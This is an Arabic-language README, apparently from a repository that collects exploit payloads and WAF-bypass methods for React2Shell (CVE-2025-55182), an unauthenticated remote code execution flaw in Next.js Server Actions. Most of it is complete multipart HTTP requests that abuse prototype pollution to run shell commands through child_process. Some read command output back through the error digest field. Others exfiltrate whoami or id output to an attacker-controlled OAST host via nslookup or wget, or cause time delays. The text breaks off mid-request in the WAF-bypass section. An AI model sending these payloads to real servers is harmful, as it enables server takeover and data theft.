REACT2SHELL (CVE-2025-55182)

React2Shell (CVE-2025-55182) هي سلسلة ثغرة حرجة لتنفيذ الأوامر عن بعد (RCE) تؤثر على تطبيقات Next.js التي تستخدم Server Actions. تستغل الثغرة ثغرة تلويث النموذج الأولي (prototype pollution) مع Server Actions لتحقيق تنفيذ تعليمات برمجية عشوائية على الخادم دون مصادقة.

هذا المستودع مخصص لمشاركة حمولات React2Shell وطرق تجاوز الحماية. المساهمات (PRs) مرحب بها دائمًا!

الموارد

فيما يلي موارد إضافية قد تجدها مفيدة:

• ماسح React2Shell من Assetnote: https://github.com/assetnote/react2shell-scanner
• قالب Nuclei: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

الحمولات

الإثبات الأولي للمفهوم

جميع الاعتمادات تعود إلى @maple3142 للإفصاح الأولي عن الإثبات والذي يمكن العثور عليه في GitHub Gist:

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

تنفيذ أوامر كامل مع إخراج عبر رسالة الخطأ (حقل digest)

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

تشغيل استعلام DNS خارجي

استبدل <OAST_SERVER> باسم مضيف خادم OAST الخاص بك.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup <OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

تسريب عبر DNS

استبدل <OAST_SERVER> باسم مضيف خادم OAST الخاص بك.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `whoami`.<OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

تسريب عبر HTTP

استبدل <OAST_SERVER> باسم مضيف خادم OAST الخاص بك.

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://<OAST_SERVER>/?e=$`id`');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

تشغيل تأخير زمني

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('sleep 10');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

تجاوز جدران الحماية (WAF) باستخدام ربط السلاسل النصية والتشفير

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: m9x4k7p2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
X-Nextjs-Html-Request-Id: R8tY5uI2oP6aS3dF
Content-Length: 750

------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="0"